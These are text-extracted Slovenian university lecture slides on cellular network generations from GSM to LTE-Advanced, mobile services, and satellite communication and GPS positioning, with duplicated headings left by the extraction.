D

A

B

G

F

E

C

D

A

B

nn11 nn11

dd rrrr

d>2*rd>2*r

Pravilo za ponovno 

uporabo kanala
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Postavitev celic v realnem okoljuPostavitev celic v realnem okolju

� Piko (~10m), mikro (~500m), makro (~10km), krovne celice (35km)

Pametne antene!
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Arhitektura celiArhitektura celiččnega omrenega omrežžja GSMja GSM

� Omrežje GSM sestavlja zvezdasto razvejana arhitektura

� jedrni del omrežja z glavnim centrom MSC (eden ali več)

� bazna postaja BS z nadzornikom BSC (vsak MSC več BSC, BSC več BS)

� mobilna postaja MS s kartico SIM (vsaka BS sprejme več MS)

� baze in registri podatkov

� HLR, VLR - zagotavljajo mobilnost

� EIR, AuC - varnost in zasebnost

� OMC, TMN - upravljanje SMSCSMSCSMSCSMSC HLRHLRHLRHLR AUCAUCAUCAUCEIREIREIREIR

MSCMSCMSCMSCMSCMSCMSCMSC

VLRVLRVLRVLR

OMC OMC OMC OMC 
TMNTMNTMNTMN

BTSBTSBTSBTS

GSM

BSCBSCBSCBSC

FiksnoFiksnoFiksnoFiksno
omreomreomreomrežžžžjejejeje

BSS – podsistem bazne postaje

MS – mobilni terminal NSS - podsistem omrežja (jedro)

OSS - podsistem upravljanja

Mobitel (1Q09): 

940 GSM BS,

6100 TRX@900MHz,

550 TRX@1800MHz 
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Gostovanje v tujiniGostovanje v tujini

� Primer klica slovenskega naročnika, ki gostuje v tujini

� klicatelj v Sloveniji zavrti telefonsko številko mobilnika

� pri domačem operaterju mobilnika se preveri stanje uporabnika (HLR)

� uporabnik je doma, v domačem omrežju

� uporabnik se nahaja v tujini, prijavljen je v omrežju tujega operaterja 

� uporabnik ima izklopljen telefon

� klic se preusmeri v tujino

� tuj operater 

� preveri, na katerem območju

celic se uporabnik nahaja

� sproži klic na skupino celic

� naročnik v tujini 

� se odzove na klic

� plača gostovanje

Domače omrežje Tuje omrežje
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Prenos govoraPrenos govora

4.615 ms TDMA okvir

0

f1

Telefon odda govor

Oseba govori, telefon pripravlja govor na oddajo

Č a s o v n a o k n a

Signaliz.

Luka

Mojca

Andreja

Barbara

Rok

Anita

Nejc

1 2 3 5 6 74

Rep Upor. podatki Učil. zapS S Rep

3 57 26 571 1 3

Upor. podatki

0.577ms TDMA okno

izvorni 
kodirnik

podatkovni 
vmesnik

Podatki

kanalski 
kodirnik

šifriranje 
signala

modulacija

A
D

A5, A8

FR: 13 kbit/s
HR: 6.5 kbit/s
EFR: 12.2 kbit/s

+ DTX + CNG

GMSK
270.833 kbit/s

900/1800 MHz

iz 260 bitov
nastane 456 bitov
=> 22.8 kbit/s

vsebina se 
premeša oz. 
zakodira

� Komunikacijski model

� Izmenična radijska oddaja - deljeni sodostop 1 / 0.004615 s = 216.67 Hz
slišno v zvočniku
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BTS BSC
MSC

VLR

HLR

SMS-IWMSC

A

E

C

B

Prenos sporoPrenos sporoččil SMSil SMS

� SMS center (SMSC)

� osrednji element za hranjenje in posredovanje sporočil

� nadzor nad dostavo sporočil in obveščanjem o prejemu

� določeno trajanje sporočil v centru (maks. 72 ur)

� Posebnosti SMS

� omogočen prenos 160 7-bitnih ASCII znakov

oz. 70 16-bitnih znakov, npr. kitajskih, šumnikov

MS
SME

SMS-GMSC

PSDN

SC

PCPC

SMS — GMSC  Gateway MSC
SMS — IWMSC InterWorking MSC
SC — Service Center
SME — Short Messaging Entity

SMEs

Naslov SMS centra je 
shranjen na kartici SIM
(pošiljanje v tujini deluje tudi brez +386...)

Slovenci smo lani poslali 1,277 
milijarde SMS-sporočil, v zadnjem 
četrtletju pa je bilo poslanih več

kot osem milijonov MMS-sporočil, 
kar je 34 % več kot v četrtletju prej

Vir: RTVSLO.si, 21.3.2011
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Prenos sporoPrenos sporoččil USSDil USSD

� USSD - Unstructured Supplementary Service Data

� uporaba znakovnih nizov *, # in cifer preko tipkovnice

� niz *XXX*Y# (XXX – zakupljena koda storitve, Y – izbira uporabnika)

� največja dolžina sporočila je omejena na 182 znakov

� hitrost delovanja

� izpis neposredno na zaslon terminala v skoraj realnem času

� 7-krat hitrejši prenos od transporta sporočil SMS

� ukazi USSD delujejo tudi v tujini

� Primeri uporabe

� RA/TV glasovanja

� napolnitev predplačniških kartic

� naročniške poizvedbe

� SIM toolkit
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Prenos podatkovPrenos podatkov

� Posebnosti prenosa podatkov

� podatki so občutljivi na vsak spremenjen bit

� mobilnost prinaša dodatne motnje zaradi presihov in drugih dejavnikov

� napačen sprejem povzroči napačno CRC kodo in potrebo po ponovitvi

� podatki predstavljajo digitalno vsebino

� že pripravljen niz enic in ničel, zunanji MODEM ni potreben

izvorni 
kodirnik

podatkovni 
vmesnik

DATA

kanalski 
kodirnik

šifriranje 
signala

modulacija

A
D

demodulacija

dešifriranje 
signala

kanalski 
dekodirnik

izvorni 
dekodirnik

podatkovni 
vmesnik

DATA

A
D
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VodovniVodovni prenos prenos podatkov (CSD)podatkov (CSD)

� CSD (Circuit Switched Data)

� tokokrogovni (vodovni) prenos podatkov

� prenosno okno je zaseženo ves čas povezave

� v tem času je povezava do terminala zasedena

� možen le prenos signalizacije (paging)

� vzpostavljanje povezave

� podatkovni klic na skupino modemov (dial-up)

� podajanje uporabniškega imena in gesla

� robustnost prenosa

� osnovni: 9.600 bit/s (13,2 kbit/s zaščite)

� izboljšan: 14.400 bit/s (8,4 kbit/s zaščite)

� vzporedno združeni kanali (HSCSD)

� terminali podpirajo do 3DL+1UL

� največja hitrost znaša 43,2 kbit/s
GSM Interworking Unit 

Packet Assembly 
Disassembly 

Primer: operater Mobitel
Klicna številka: 041 181818
Uporabniško ime: mobitel
Geslo: internet
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Paketni prenos Paketni prenos podatkov (GPRS)podatkov (GPRS)

� Paketno omrežje GPRS

� nadgradnja arhitekture z IP
hrbtenico (GGSN, SGSN)

� širitev kodirnih shem

� 9,05-21,4 od 22,8 kbit/s

� združevanje več TS

� efektivne hitrosti od 
25-100 kbit/s na RX

� oddaja nižja
SMSCSMSCSMSCSMSC HLRHLRHLRHLR AUCAUCAUCAUCEIREIREIREIR

MSCMSCMSCMSC

VLRVLRVLRVLR

OMC OMC OMC OMC 
TMNTMNTMNTMN

BTSBTSBTSBTS

GSM

BSCBSCBSCBSC

FiksnoFiksnoFiksnoFiksno
omreomreomreomrežžžžjejejeje

InternetInternetInternetInternet

PLMNPLMNPLMNPLMN

GGSNGGSNGGSNGGSN

BGBGBGBG

GPRS

SGSNSGSNSGSNSGSN

PCUPCUPCUPCU

Prehodno 

vozlišče

Storitveno 

vozlišče
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Nadgradnja paketnega prenosa (EDGE)Nadgradnja paketnega prenosa (EDGE)

� EDGE = GPRS + nove modulacije + nove sheme + novi protokoli

� DL/UL = 4/1, maksimalna DL hitrost znaša 4 x 59,2 kbit/s = 236,8 kbit/s

� DL/UL = 3/2, DL znaša 177,6 kbit/s, UL hitrost pa 118,4 kbit/s

� EDGE pri operaterju SiMobil: optimalna hitrost 200 kbit/s, povprečna 110 kbit/s

Shema Modulacija

MCS-9 8-PSK 1.0

MCS-8 8-PSK 0.92

MCS-7 8-PSK 0.76

MCS-6 8-PSK 0.49

MCS-5 8-PSK 0.37

MCS-4 GMSK 1.0

MCS-3 GMSK 0.80

MCS-2 GMSK 0.66

MCS-1 GMSK 0.53

Podatki (bit)
na radijski blok

2x592

2x544

2x448

592 (544+48)

448

352

296 (272+42)

224

176

Pod. hitrost
(kbit/s)

59.2

54.4

44.8

29.6 (27.2)

22.4

17.6

14.8 (13.6)

11.2

8.8

Rel. kod. 
hitrost  

0.36

0.36

0.36

1/3

1/3

0.53

0.53

0.53

0.53

Kod. hitrost 

zaglavja

0,0

10,0

20,0

30,0

40,0

50,0

60,0

70,0

MCS-1 MCS-2 MCS-3 MCS-4 MCS-5 MCS-6 MCS-7 MCS-8 MCS-9

Kodna shema

kbit/s/TS

GMSK

PSK

Izbira sheme odvisna od radijskih pogojev in zahtevane kvalitete
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OmreOmrežžje 3G (UMTS)je 3G (UMTS)

InternetInternetInternetInternet

PLMNPLMNPLMNPLMN

GGSNGGSNGGSNGGSN

BGBGBGBG

GPRS

SGSNSGSNSGSNSGSN
Prehodno 

vozlišče

Storitveno 

vozlišče

PCUPCUPCUPCU

SMSCSMSCSMSCSMSC HLRHLRHLRHLR AUCAUCAUCAUCEIREIREIREIR

MSCMSCMSCMSC

VLRVLRVLRVLR

OMC OMC OMC OMC 
NMC NMC NMC NMC 
TMNTMNTMNTMN

BTSBTSBTSBTS

GSM

BSCBSCBSCBSC

FiksnoFiksnoFiksnoFiksno
omreomreomreomrežžžžjejejeje

BTS

Node-B

RNC

Node-B

UTRAN

UE

Dodan nov radijski del (f = 2 GHz, B = 5 MHz, hitrost = do 384 kbit/s) 
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ViViššanje hitrosti v smeri navzdol (HSanje hitrosti v smeri navzdol (HSDDPA)PA)

� Prva razvojna nadgradnja 3. generacije (3.5G)

� 3GPP Release 5 (standard sprejet leta 2005)

� znatna pohitritev paketnega prenosa v navzdoljnji (DL) smeri

� uporaba modulacij višje stopnje QPSK -> 16QAM

� združevanje kanalskih kod (15 kod -> 14,4 Mbit/s)

� delitev prometa z upoštevanjem radijskih pogojev

� optimizacija pavz med oddajami in ponovitev

� Postopno višanje hitrosti 1,8 - 14,4 Mbit/s

� začetek v Sloveniji 09/2006 z 1,8 Mbit/s

� nadgradnja na 7,2 Mbit/s 09/2007

� Podprtost terminalov

� prvo kartice (USB, miniPCI-E)

� potem telefoni (tipična hitrost do 3,6 Mbit/s)
Pokritost s signalom HSDPA 7,2 Mbit/s 

na prostem (Vir: Mobitel, 2011)
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ViViššanje hitrosti v smeri navzgor (anje hitrosti v smeri navzgor (HSHSUUPAPA))

� Druga razvojna nadgradnja 3. generacije (3.5G)

� 3GPP Release 6 (standard sprejet leta 2006) 

� pohitritev paketnega prenosa v navzgornji (UL) smeri

� predvidene hitrosti 0,73 - 5,76 Mbit/s na uporabnika (Rel. 7 do 23 Mbit/s)

� modulacija ostaja BPSK zaradi robustnosti in skromnosti terminalov

� optimizacija pavz med oddajami in ponovitev paketov

� združevanje do 4 kod (hkratni sprejem 4 kanalov)

� Začetek v Sloveniji 2007/08

� današnje hitrosti do 2 Mbit/s

� skladno z obstoječo terminalno opremo

� podatkovne kartice, telefoni

� HSUPA podpira manj terminalov

kot HSDPA - asimetrija prenosov

Vir: Mobitel, 2011
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NajboljNajboljšše ta hip (HSPA+)e ta hip (HSPA+)

� Optimizacija prenosnega omrežja (3.75G)

� dosežena teoretična hitrost 21,6 Mbit/s (do 15 Mbit/s efektivno)

� uporaba neposrednih IP povezav med baznimi postajami in jedrom

� manj podpore pri terminalni opremi (le kartice)

UL

UL data rate [Mbps]

2x2 MIMO~28 Mbps

DL

D
L

 d
a

ta
 r

a
te

 [
M

b
p

s
]

Razv
oj64QAM + 

2x2 MIMO
~42 Mbps

Rel. 6
14 Mbps

16QAM

~12 Mbps

Rel. 6

5.76 Mbps

64QAM~21 Mbps

Pokritost s signalom HSPA+ 21,6 Mbit/s 
na prostem (Vir: Mobitel, 2011)
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Koraki naprejKoraki naprej proti proti 4G (LTE)4G (LTE)

� LTE – Long Term Evolution (generacija 3.9G) 

� uporaba novih tehnoloških pristopov

� dinamična uporaba pasovnih širin od 1.25 do 20 MHz

� povečanje spektralne učinkovistosti za 2-4 krat glede na HSxPA

� uporaba OFDM v smeri DL in SC-FDMA v smeri UL

� uporaba QPSK, 16QAM in 64QAM modulacij

� uporaba antenskih sistemov MIMO 4x4 in SDMA ločitve

� Pričakovani rezultati

� vršni hitrosti v 20 MHz kanalu

� DL 326.4 Mbit/s za MIMO 4x4

� DL 172.8 Mbit/s za MIMO 2x2 

� UL 86.4 Mbit/s

� latenca pod 5 ms za kratke pakete

� vzpostavitev kanala: pod 100 ms
Vir: http://ltemaps.org/
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ČČetrtaetrta generacija (4G)generacija (4G)

� Pričakovanja LTE-Advanced (zaključevanje standardizacije 2011)

� vršne hitrosti - DL: do 1 Gbit/s, UL: do 500 Mbps

� hitrosti na robu celice 2x LTE, povprečno povišanje 3x LTE

� spektralna učinkovitost DL: 30 bit/s/Hz, UL: 15 bit/s/Hz

� uporaba DL: 8x8 in UL: 4x4 MIMO konfiguracij

� fleksibilnost pri izrabi spektra, zaseganje do 100 MHz

� zahtevana združljivost nazaj za LTE uporabnike
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UporabnikiUporabniki storitevstoritev

� Terminalna oprema

� velikost in oblika

� uporabniški vmesnik

� avtonomnost delovanja

� zanesljivost delovanja

� cena in dosegljivost

� Storitve in aplikacije

� odzivnost

� razpoložljivost

� aktualnost

� zabavnost

� sociološki aspekt

� cena uporabe

Tržni deleži mobilnih in tabličnih 
naprav pri uporabi spleta (svet)

Profili na socialnih omrežjih (SLO, 2011)
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ŽŽivljenje brez mobilnih omreivljenje brez mobilnih omrežžij?ij?

� Sodobne razvade

� “Hej, kje si?”

� “Sem že za vogalom...”

� “Zdaj ne utegnem, te pokličem...”

� “Opomnik: Tina praznuje rojstni dan”

� “Stari, ni panike, sm poveču paket!”

� “Moj telefon ima 10M kamero, pa tvoj?”

� “Tržaška 25, kako do nje?”

� “Ali si babici že poslala MMS?”

� “7 x 8 = .. počakaj.. meni, kalkulator...”

� “Napačen PIN...”

� “Posodobljena AV zaščita na telefonu”

� “>>> Nizko stanje baterije <<<”
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PTT

Govorne storitveGovorne storitve

� Osnovna daljinska storitev v mobilnih omrežjih

� prenos govora preko TDM/CS omrežja (POTS, GSM, UMTS)

� Nadgradnje

� uporaba VoIP tehnologije čez PS omrežja (GPRS, UMTS, WLAN)

� SKYPE, IM, Fring, Sipcall, iTalk, Fastchat

� integracija Push-to-Talk (PoC) s protokoli SIP/RTP (GPRS, UMTS, WLAN)

� integracija v nekatere 3G terminale (tipka               ali  PTT )
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Telefon VoiceXML
prehod

Spletna stran 
ponudnika storitev

Operater nosilnega omrežja Ponudnik storitev

� Združevanje spletnih aplikacij in govorne dostave vsebin

� poenostavitev klicnih centrov in povečevanje zadovoljstva strank

� možnosti snovanja novih oblik interaktivnih govornih aplikacij

� Prehod izvaja aplikacijsko kodo, dobljeno s spletnega strežnika

� prenos se vrši z uporabo standardnega protokola HTTP

� prehod skrbi za pravilno naslavljanje spletnih strežnikov

� prehod izvaja zajemanje in posredovanje podatkovnih datotek (npr. WAV)

StandardStandard VoiceXMLVoiceXML
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SporoSporoččilne storitve SMS in MMSilne storitve SMS in MMS

� Storitvena ogrodja operaterjev, primer: Mobitelova M-vrata

� primer odprte platforme za razvoj SMS storitev

� sistem za razvijalce aplikacij

� lastna rešitev operaterja (www.m-vrata.com)

� osnovni namen: dostop do SMS funkcionalnosti 3rd party ponudnikom

� komunikacija temelji na izmenjavi XML sporočil

� Storitve

� SMS poštar

� pošiljanje SMS sporočil uporabnikom

� SMS na zahtevo

� sprejem SMS sporočil, poslanih na ključno besedo
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Lokacijske storitve v mobilnih omreLokacijske storitve v mobilnih omrežžjihjih

� Globalna identiteta celice s parametrom zakasnitve

� CGI, CID = Cell Global Identity

� TA = Timing Advance

� združljivo z vsemi terminali brez nadgradenj

� 100 % penetracija med naročniki

� Delovanje metode CGI + TA

� CGI identificira celico, kjer se nahaja MS

� TA da oceno razdalje MS od BTS

� korak znaša 550 metrov

� Natančnost metode

� lokacija je ocenjena s pasom negotovosti

� natančnost cca. 500 m
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Storitev Storitev GoogleGoogle MyLocationMyLocation

� Uporaba parametrov in razporeditve mobilnega omrežja

� telefon sprejema signale najmočnejše bazne postaje

� opazuje pa tudi dogajanje v sosednjih celicah

� zgradi si vzorec: MCC-MNC-LAC-CID

� vzorec razvrsti po jakosti signala

� primerjava s shranjenimi posnetki omrežja

� dinamično dograjevanje odčitkov omrežja

MCC,MCN,

LAC,CID

MCC,MCN,

LAC,CID

Baza podatkov

“My Location”

Baza podatkov

“My Location”

Lat,LonLat,Lon

Funkcija “Netmonitor”
starih telefonov Nokia
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Storitve podroStoritve področčja M2Mja M2M

Vir: http://mastec.co.nz

� Sistemi avtomatskega posredovanja podatkov (stroj-stroj)

� primeri: avtomati za pijačo, nadzorni sistemi, števci energije (trenutno v 
večini), avtomobilski sistemi (61% EU M2M trga v letu 2013)
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Vzpostavljanje povezav GSM/GPRSVzpostavljanje povezav GSM/GPRS

� Krmiljenje modema z ukazi AT (angl. attention)

� tipične povezovalne hitrosti čez RS-232: 9,6 do 115,2 kbit/s

� tokokrogovne (CS) povezave (dial-out)

� paketne (PS) povezave (GPRS kontekst)

� sporočila SMS v tekstovni obliki

Mobilni prenos podatkovMobilni prenos podatkov

ATD041181818
Oddaljena 
stran želi 

izvesti PPP 
avtentikacijo

Sestavni del 
operacijskega 

sistema 
računalnika
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Mobilni OS in terminaliMobilni OS in terminali

� Trenutna statistika (2011) in napovedi (2012, 2015)

� Android prevladuje (43%, 49%, 49%)

� iOS (18%, 19%, 17%)

� Windows (2%, 11%, 20%)

� RIM (12%, 13%, 11%)

� Število novih terminalov

� 468M, 630M, 1105M

Statistika OS za 2011 Q2 (Gartner)



Satelitske komunikacije in lociranje Satelitske komunikacije in lociranje 

Predmet: Komunikacijski sistemi

as. mag. Andrej Štern

Univerza v Ljubljani

Fakulteta za elektrotehniko

Laboratorij za telekomunikacije
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Razvrstitev brezRazvrstitev brezžžiiččnih tehnologijnih tehnologij

Stacionarni domet: do 100 km, tip. 30 km

Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s

Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km

Hitrost: do 21.6 Mbit/s HSPA+

Celično globalno pokrivanje

Operatersko okolje

Stacionarni in mobilni

domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s

Operatersko okolje

Nomadsko: do 500 m

Hitrost: do 150 (600) Mbit/s

Lokalno pokrivanje
Brezplačna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)

Osebno pokrivanje, brezplačno

BliBližžina telesa: do 10 cmina telesa: do 10 cm

aktivni RFID: do 50 maktivni RFID: do 50 m

Hitrost: do 424 Hitrost: do 424 kbitkbit/s/s

Stacionarni in mobilni domet: nekaj 1000 km

Različne hitrosti: kbit/s do nekaj 10 Mbit/s

Pokrivanje s sateliti LEO, MEO in GEO

WPAN

WMAN

WWAN

WLAN

IEEE 802.15
Bluetooth

IEEE 802.11

Wireless LAN

IEEE 802.16

Wireless MAN

MMDS, LMDS

IEEE 802.20

Mobile Broadband

Wireless Access (MBWA)

ETSI

HIPERLAN

ETSI HIPERMAN

& HIPERACCESS

3GPP, 3GPP2

GSM, UMTS, HSxPA,

HSPA+, LTE, LTE-Advanced

WRAN

IEEE 802.22 Wireless 

Regional Area Networks 

ZigBee
UWB

WBAN
RFID NFC

WGAN

BGAN Broadband Global

Area Networks 
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Nekaj zgodovinskih dejstevNekaj zgodovinskih dejstev

� Začetki

� 1957 - 4. oktober: izstrelitev prvega satelita Sputnik 1

� 1957 - 3. november: izstrelitev Sputnika 2 s psičko Lajko

� 1958 - prvi telekomunikacijski satelit SCORE s 4 min. tajnico (12 dni)

� 1961 - 12. april: prvi človek v vesolju Yuri Gagarin z VOSTOK 1

� 1962 - prve telefonske in TV oddaje čez pasivni satelit Echo 1

� 1963 - prvi aktivni satelit s prenosom v realnem času: Telstar 1

� 1964 - postavitev prvega GEO satelita: Syncom 3

� 1969 - 21. julij: prvi človek na Luni Neil Armstrong

� 1989 - izstreljen prvi satelit GPS (do danes cca. 60)

� 1997 - izstrelitev prvih satelitov IRIDIUM

� 2000 - začetek delovanja satelitov Globalstar in Thuraya

� 2001 - začetek izstreljevanja satelitov ICO/Hughes

Prvi satelit -
Sputnik 1
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Umestitev satelitskih komunikacijUmestitev satelitskih komunikacij

� Pokrivanje območij GAN (Global WAN)

� dopolnjevanje obstoječe prizemne komunikacijske infrastrukture

� pomemben člen pri optimizaciji povezljivosti “kjerkoli, kadarkoli” v omrežjih 4G

� pomembna vloga na območjih brez prizemne infrastrukture

� morja in oceani, puščave, gore

� postavitev visokih “baznih postaj”

� bolj vertikalno pokrivanje ozemlja s signalom

� dosegljivost tudi v dolinah in soteskah

JZ E
vro

pa SV Evropa

3600 km

25
0 

km
250 km

Rahlo ukrivljena pot 
potovanja signala

Mednarodno 
priznan začetek 

vesolja na 100 km
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Posebnosti satelitskih komunikacijPosebnosti satelitskih komunikacij

� Področje pokrivanja

� odvisno od višine in razporeditve satelitov

� iz GEO satelita se vidi skoraj 1/4 zemeljske oble

� Frekvence in pasovne širine

� frekvence so tipično v območju nekaj GHz

� uporaba širokopasovnih kanalov za visoke podatkovne hitrosti

� Komunikacijska pot

� pogosto kratkotrajno motena z večjim slabljenjem

� kvaliteta prenosa je kljub temu zadovoljiva

� Cena

� cena uporabe satelitskih storitev je v zadnjih 10 letih znatno padla

� tipična cena minute pogovora: 3-6€/min, SMS 1€
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Raba satelitovRaba satelitov

� Prednostna raba za komunikacije

� Inmarsat, Globalstar, Iridium, Thuraya ...

� Lociranje in navigacija

� Navstar/GPS, Glonass

� Število objektov > 10.000, 700 aktivnih

Vir: http://www.abstractatus.com/english/satellites/
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GneGnečča v vesoljua v vesolju

� Trk satelitov COSMOS 2251 in IRIDIUM 33

� odsluženi Cosmos (1999)

� aktivni IRIDIUM

� verjetnost 1:50 milijonov

� > 1740 razbitin

560 kg

950 kg

Rezultat:

1740+ razbitin

42.120 km/h

Verjetnost dogodka 1:50M
10. feb. 2009
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Izstrelitev satelitovIzstrelitev satelitov

� Streljanje s topom v vodoravni smeri

� krivulja je odvisna od hitrosti izstrelka

� mala hitrost - pade na tla

� srednja hitrost - zaokroži okrog Zemlje

� 1. kozmična hitrost: 7,9 km/s oz. 28.800 km/h

� visoka hitrost - pobegne iz Osončja v vesolje

� 3. kozmična hitrost: 16,4 km/s oz. 59.000 km/h

� Osnovni recept

� večstopenjska raketa s satelitom

� primerno izstrelišče, vreme in čas. okno

� ekvatorsko vrtenje s hitrostjo 1650 km/h

podaja nekaj začetne energije

� tirnice z višjo inklinacijo zahtevajo večji

delež umetno zadane sile
4 (Cape Canaveral)
5 (Kourou - Fr. Polinezija)
14 (Baikonur)
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UtirjanjeUtirjanje satelitov v tirnicesatelitov v tirnice

� Neposredno utirjanje

� potisk satelita neposredno na balistično pot

� na ustrezni višini se sproži AKM (Apogee Kick Motor)

� Doseganje končnih tirnic s čim manj energije

� Hohmannova prenosna tirnica

� prehajanje iz krožne v eliptično tirnico in nazaj

� uporaba samo dveh dodatnih sunkov (∆∆∆∆v) sile

� izkoriščanje gravitacije planetov

� lovljenje planetov na njihovi poti okoli Sonca

� ozka časovna okna načrtovane misije

� možno “brezplačno” potovanje po vesolju

� primer: sondi Voyager 1 in 2

� http://voyager.jpl.nasa.gov/

� http://www.youtube.com/watch?v=cTIGOe5ckj0

angl. Direct Insertion

Hohmannova 
prenosna tirnica
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Pot potovanja okrog ZemljePot potovanja okrog Zemlje

� Višine krožnih tirnic

� LEO (Low Earth Orbit)

� nizka krožna zemeljska tirnica

� višina nad površjem 500-1500 km (ω = 2h)

� veliko število satelitov z medsatelitskimi zvezami

� majhna zakasnitev signala

� MEO (Medium Earth Orbit)

� srednja krožna zemeljska tirnica

� višina 2000-25.000 km (ω = 2h-15h)

� za pokrivanje potrebno okoli 12 satelitov

� ne potrebujejo medsatelitskih povezav

� GEO (Geostationary Earth Orbit)

� geostacionarna satelitska tirnica

� višina 35.786 km (ω = 23 h 56 min 4.1 s)

� l. 2009: 1150 satelitov, 365 delujočih

km
35768

10000

1000

MEO (GPS)

GEO 
(WAAS, Inmarsat)

LEO 

(Globalstar,

Irdium)

20000

Van Allenovi sevalni
pasovi z nabitimi 

“škodljivimi” delci

~2000-4000 km 

~13000-25000 km
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Obhodni Obhodni ččasi in hitrosti satelitovasi in hitrosti satelitov
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IzkuIzkuššnje na katedri za telekomunikacijenje na katedri za telekomunikacije

� Množica sodelovanj na raznih projektih

� laboratorij LSO, prof. dr. Matjaž Vidmar
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InmarsatInmarsat

� International Maritime Satellite Organization (1982)

� 12 satelitov GEO na višini 35.786 km,

� zagotavlja komercialne storitve in javno brezplačno pomoč v sili

� GMDSS - Global Maritime Distress Safety System - prioritetna komunikacija v sili

� EPIRB - Emergency Position Indicating Radio Beacon 

� Vrste storitev

� govorne storitve

� sporočilne storitve SMS/faks

� videotelefonija

� različne podatkovne storitve

� 600-9600 bit/s - telemetrija

� 64 kbit/s - vodovni prenos (CS)

� 492 kbit/s - paketni prenos (PS)

BGAN 228 narrow-spot beam
EIRP 67 dBW

14 kW sončnih celic (l=45m), teža 5950 kg, 630 kanalov@200 kHz
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IridiumIridium

� Prvi poskus zagotavljanja globalne satelitske telefonije 1998
� leta 2001 ponovno oživetje projekta s kapitalom 6 mrd. $

� današnje tržišče obsega 320.000 uporabnikov po celem svetu

� 66 LEO satelitov na višini 780 kilometrov s hitrostjo 27340 km/h

� pokrivanje celotne zemeljske oble s skoraj polarno tirnico

� za celoten prelet Zemlje potrebuje satelit samo 100 minut

� Vrste storitev
� govorne in podatkovne storitve

� delovanje s hitrostmi od 2.2 do 3.8 kbit/s

� omogočen prenos IP do 10 kbit/s

� dosežena latenca 1800 ms

� sporočilne in enosmerne paging storitve

� pošiljanje SBD (Short Burst Data)

� sporočila <2 kB s časom prenosa

od 6 do 22 sekund
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GlobalstarGlobalstar

� Začetek uporabe leta 1999, iste začetne težave kot Iridium

� 48 LEO satelitov na višini 1414 km z nagibom 56 stopinj

� današnje tržišče obsega preko 320.000 uporabnikov

� Vrste storitev

� preusmeritev klica 

� zapora za klice 

� klic v sili  

� prenos kratkih sporočil (SMS) 

� telefonski predal (VMS) 

� prenos faksimilnih sporočil 

� prenos podatkov do 56 kbit/s

� čakajoči klic 

� zadržanje zveze 
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ThurayaThuraya

� Regionalni ponudnik satelitske telefonije z GEO sateliti

� postavitev sistema do leta 2008 s cca. 360.000 uporabnikov

� pokrivanje “sumljivih” dežel: oprijeto ime “the terrorists phone of choice”

� Vrste storitev

� govorne storitve

� prenos kratkih sporočil SMS

� prenos podatkov

� 9.6 kbit/s za podatke in faks

� 60/15 kbit/s DL/UL za GmPRS podatke

� 144 kbit/s z uporabo prenosnih terminalov

� podpora GPS na vseh terminalih

� podpora več storitvam: predal, WAP, “Prayer service”

� klici v sili z natančnim sporočanjem lokacije
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Prednosti in slabosti sat. komunikacijPrednosti in slabosti sat. komunikacij

� Prednosti

� pokrivanje zelo velikih geografskih območij

� premoščanje nepokritih področij

� cenovna politika neodvisna od razdalje oz. lokacije klica

� možnost sprejema broadcast sporočil

� kopica možnih storitev s področja zaščite in reševanja

� Slabosti

� veliki stroški vzpostavitve sistema

� motnje v komunikaciji in zakasnitve

� zasedenost frekvenc in tirnic

� v večini potrebna vidnost prostega neba

� slaba razpoložljivost terminalne opreme

in dostopa do tehnologije
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Satelitsko lociranje in navigacijaSatelitsko lociranje in navigacija

� Lociranje, navigacija in ... mobilni prenos podatkov

� lociranje: kje sem, kje je ...; X=14.489806, Y=46.046645, Tržaška 25, Ljubljana

� navigacija: kako priti do ...; oddaljenost 130 metrov, čez 50 m zavijte levo

� brezžični prenos podatkov: izboljšanje natančnosti, aktualni zemljevidi ...

Aktualni 
zemljevid z 
označenimi 
izrednimi 
dogodki

Lokacijski signal

Brezžična poizvedba 

(X=61.00000N, Y=11.00000E)

1.

2.

Odgovor v obliki aktualnega 

zemljevida in dodatnih navodil

3.
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Zapisi koordinatZapisi koordinat

� Zemljepisna dolžina oziroma longituda

� smer vzhod-zahod, obseg med -180°in +180°

� Greenwich – glavni meridian 0°

� Zemljepisna širina oz. latituda

� smer sever-jug, obseg med -90°in +90°

� ekvator – zaznamuje izhodišče 0°

� Formati zapisov

� WGS-84

� Gauss-Krüger (D-48)

� ravninske koordinate

� elipsoidne koordinate

� decimalni zapisi
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Nabor satelitskih lokacijskih sistemovNabor satelitskih lokacijskih sistemov

� Predstavniki

� TRANSIT (predhodnik sistema GPS)

� sistem, ki je bil v delovanju od 1960 do konca 1996

� NAVSTAR - GPS (Global Positioning System)

� zasnovan v začetku 70-ih let s strani ameriške vojske

� GLONASS (Global'naya Navigatsionnaya Sputnikovaya Sistema)

� zasnovan v 80-ih letih s strani Sovjetske Zveze kot protiutež GPS-u

� WAAS (Wide Area Augmentation System)

� dopolnilni sistem sistema GPS/GALILEO

� GALILEO 

� evropski civilni sistem navigacijskih satelitov predviden v letu 2013

� Beidou/COMPASS

� kitajski civilni sistem MEO/GEO satelitov, predviden v letu 2015

� QZSS (Quasi-Zenith Satellite System)
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Sestava sistema GPSSestava sistema GPS

� Vesoljski segment

� 24 do 32 satelitov od l. 1995 (26.2.2008 - PRN32)

� 20.200 km visoko nad zemljo (26.600 km nad središčem)

� razvrščeni so v 6 orbitalnih ravnin

� Zemljo obkrožijo v 11 urah in 58 minut s hitrostjo 3.88 km/s

� nad obzorjem so vedno vidni vsaj 4-je sateliti

� Kontrolni segment

� glavna kontrola je v ZDA

� nadzor satelitov

� posodabljanje informacij

� Uporabniški segment

� uporabniški sprejemniki različnih oblik
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GPS sateliti in sprejemnikiGPS sateliti in sprejemniki

� GPS sateliti

� imajo vgrajene 4 natančne atomske ure

� zamik za 1 sekundo v 300k letih (Cs, Rb)

� ves čas oddajajo signale, ki vsebujejo

� položaj satelita in točen čas

� stanje satelita in atmosfere ipd. 

� GPS sprejemniki

� vsebujejo navadne elektronske ure

� občutljiv sprejemnik z anteno

� so različnih izvedb in oblik

� cenovno dostopni
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Potreba po sprejemu vsaj 4 satelitovPotreba po sprejemu vsaj 4 satelitov

� Primer za 2-D sistem (samo za ravnino, list papirja)

� “JOJ, IZGUBIL SEM SE. MI LAHKO PROSIM POVESTE, KJE SEM?”

A: Ste 82 km 
oddaljeni od Kopra

B: 54 km iz 
Jesenic

C: Ste 58 km iz 
Novega mesta

